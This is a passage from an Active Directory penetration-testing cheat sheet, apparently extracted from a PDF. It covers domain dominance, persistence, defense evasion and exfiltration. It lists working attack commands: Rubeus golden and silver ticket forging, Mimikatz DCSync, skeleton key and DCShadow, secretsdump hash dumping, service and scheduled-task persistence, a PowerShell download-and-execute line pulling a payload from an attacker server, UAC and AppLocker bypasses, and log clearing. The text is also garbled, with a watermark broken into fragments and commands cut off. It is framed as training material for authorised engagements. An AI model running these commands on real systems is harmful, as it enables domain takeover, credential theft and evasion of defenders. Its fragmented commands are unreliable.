updates from August 2020 and later; enable secure RPC enforcement.
○ PrintNightmare (CVE-2021-1675/34527): RCE as SYSTEM via Print Spooler.
○ NoPAC (CVE-2021-42278/42287): Standard user to DA. noPAC C# tool,
sam-the-admin.py.
○ sAMAccountName Spoofing (related to NoPAC): Change computer
account sAMAccountName to DC's name, request TGT.
○ ShadowCoerce (MS-FSRVP): Coerce auth via File Server Remote VSS
Protocol.
○ DFSCoerce (MS-DFSNM): Coerce auth via Distributed File System
Namespace Management Protocol.
○ Certifried (CVE-2022-26923): Certificate-based machine account
impersonation.
M
ad
e
By
KA
R
IM
AS
H
R
AF
Phase 6: Domain Dominance - Owning the Kingdom 👑
Your Goal Here: Achieve full, persistent control over the Active Directory domain. This usually
means compromising Domain Admin credentials, Enterprise Admin credentials (for
forest-level control), or gaining direct control of Domain Controllers and the krbtgt account.
Pro Tip: The "Golden Ticket" is the ultimate prize for domain persistence and control. DCSync
provides all domain hashes.
Your Toolkit & Commands:
● Golden Ticket Attack (Requires krbtgt account's NTLM hash or AES keys):
○ Goal: Forge a TGT for any user (real or fake) with any privileges. Signed with
krbtgt credentials.
○ Obtain krbtgt hash/keys: Dump NTDS.dit (Phase 3).
M
/domain:<DomainFQDN> /sid:<DomainSID_of_TargetDomain>
/krbtgt:<krbtgt_NTLM_Hash_or_AESKey> [/aes128|/aes256|/rc4]
R
/id:<RID_of_User_e.g_500_for_Admin>
IM
/groups:<RIDs_of_Groups_e.g_512_for_DA,519_for_EA> /startoffset:0
/endin:600 /renewmax:10080 /ptt
AS
■ AES256 Key:
Rubeus.exe golden /user:<FakeUser> /domain:<DomainFQDN>
/sid:<DomainSID> /aes256:<krbtgt_AES256_Key> /userid:500 /groups:512
/ptt
○ Impact: Full domain compromise. Valid until krbtgt password changed twice.
M
● Silver Ticket Attack (Requires Service Account NTLM Hash or AES keys):
ad
/service:<ServiceName_e.g_cifs,host,http>
IM
/rc4:<ServiceAccount_NTLM_Hash_or_AESKey> [/aes128|/aes256]
/id:<RID_of_User> /ptt
AS
■ Dump all:
lsadump::dcsync /all /csv
○ Impacket secretsdump.py:
■ Target specific user:
secretsdump.py
<DOMAIN>/<DA_User>:<Password_or_Hash>@<Target_DC_IP_or_FQDN>
M
-just-dc-user <UserToTarget_e.g_krbtgt>
ad
■ Dump all:
e
secretsdump.py
By
<DOMAIN>/<DA_User>:<Password_or_Hash>@<Target_DC_IP_or_FQDN>
-just-dc
KA
(or -just-dc-ntlm for only NTLM hashes)
R
CN=AdminSDHolder,CN=System,<DomainDN>.
● Skeleton Key Attack (Injects master password into LSASS on DCs):
AS
○ Goal: Allows domain auth with a universal password. Original passwords still
work.
H
misc::skeleton
AF
If LSA PPL: !+, !processprotect ..., misc::skeleton, !-.
○ Impact: Domain-wide access. Lasts until DC reboots/LSASS restarts. Highly
intrusive and detectable.
● Modifying Domain Controller Group Policies: If rights to edit "Default Domain
Controllers Policy" or GPOs linked to DCs OU.
● Forest Trust Abuse: If EA compromised in forest root, often implicit admin in
child domains. Get-NetForestTrust.
● DCShadow Attack (Advanced - DA or specific rights):
○ Goal: Temporarily register rogue DC to push malicious AD object changes
(e.g., SIDHistory, SPNs).
○ Mimikatz:
lsadump::dcshadow /object:<DN_to_modify> /attribute:<attr_name>
/value:<new_value>
lsadump::dcshadow /push
controlled account.
ad
○ PowerView:
Add-ObjectAcl -TargetADSprefix 'DC=corp,DC=local'
e
Add-ObjectAcl -TargetADSprefix
'CN=AdminSDHolder,CN=System,<DomainDN>' -PrincipalSamAccountName
AS
"RunAdminSDExer" ...
(risky).
● Scheduled Tasks (on critical servers/DCs):
○ Command:
schtasks /create /s <Target_IP> /u <SYSTEM_or_PrivilegedUser> /tn
<StealthyTaskName> /tr "C:\path\to\payload.exe" /sc ONSTART /ru SYSTEM /f
● Service Creation/Modification:
○ Command (create):
sc.exe \\<Target_IP> create <StealthyServiceName> binPath=
"C:\path\to\payload.exe" start= auto obj= "LocalSystem" DisplayName= "Legit
Looking Service"
○ Command (start):
sc.exe \\<Target_IP> start <StealthyServiceName>
Menu\Programs\Startup.
ad
(msExchHideFromAddressLists = TRUE).
● DSRM (Directory Services Restore Mode) Abuse on DCs:
H
DsrmAdminLogonBehavior -Value 2
M
ad
e
By
KA
R
IM
AS
H
R
AF
Phase 8: Defense Evasion - Staying Off the Radar 👻
Your Goal Here: Avoid detection by AV, EDR, SIEM, IDS/IPS, and blue teams.
Pro Tip: "Living off the land" (LOLBAS). C2 frameworks offer evasion. Understand detection
mechanisms.
Your Toolkit & Techniques:
● Antivirus/EDR Evasion:
○ Custom Payloads/Shellcode: Packers, crypters, shellcode encoders
(msfvenom -e shikata_ga_nai -i <count>), encryption.
○ In-Memory Execution: PowerShell
IEX (New-Object
Net.WebClient).DownloadString('http://<Your_Server>/payload.ps1')
M
ad
detectable).
IM
● Using Signed Binaries / LOLBAS (Living Off The Land Binaries and Scripts):
○ Concept: Execute malicious code or achieve objectives using legitimate,
AS
○ Project: lolbas-project.github.io.
R
file.exe:hidden.exe
ad
○ PowerShell:
By
<DateTimeObject>
AS
○ timestomp.exe.
● Using Non-Standard Tools / Custom C2.
H
●
FodHelper Execution Hijack
(HKCU\Software\Classes\ms-settings\Shell\Open\command).
● AppLocker Bypass: Default rules (writable %WINDIR% subdirs like
C:\Windows\Tasks), LOLBAS (InstallUtil, RunDll32).
● PowerShell Constrained Language Mode Bypass: powershell.exe -Version 2,
.NET assemblies/Runspaces.
● Sharp-Suite: Process Argument Spoofing.
● Sysmon Evasion: sysmon-config-bypass-finder.
● HoneyTokens Evasion: Forging Trusts, Honeypot Buster.
● Further Reading: MITRE ATT&CK Defense Evasion.
Phase 9: Exfiltration - Stealing the Goods 💰 (Optional)
Your Goal Here: Extract sensitive data from the compromised network.
Pro Tip: Mind data size and network monitoring (DLP). Compress, encrypt, use covert
channels or blend with legitimate traffic. Exfiltrate in chunks.
Your Toolkit & Techniques:
● Common Protocols for Exfil:
○ HTTP/HTTPS: POST requests. Tools: curl, wget, PowerShell
Invoke-WebRequest/Invoke-RestMethod.
○ DNS: Encode data in DNS queries (Base64 chunks as subdomains). Tools:
dnscat2, iodine, DET. Slow but stealthy.
M
(Get-PSReadlineOption).HistorySavePath.
○ Bash: history -c, delete ~/.bash_history.
KA
scoped):
wevtutil cl Security
H
R
The Active Directory landscape isn't static – it's a dynamic battlefield. New exploits
surface, defensive technologies evolve, and attackers refine their craft. Your learning
M
curve is therefore perpetual. Keep that curiosity ignited, sharpen your skills with
ad
relentless practice, and always operate with unwavering integrity and within the legal
boundaries of your engagements.
e
By
Thank you for reading. I hope this helps you, buddy. This is one of my favorite
KA
pieces and the first I've converted to a PDF. The idea for this came from my best
friend and constant supporter, Eng/Omar Sherif. Thank you, my friend, for
R
everything.
IM
AS
H
R
AF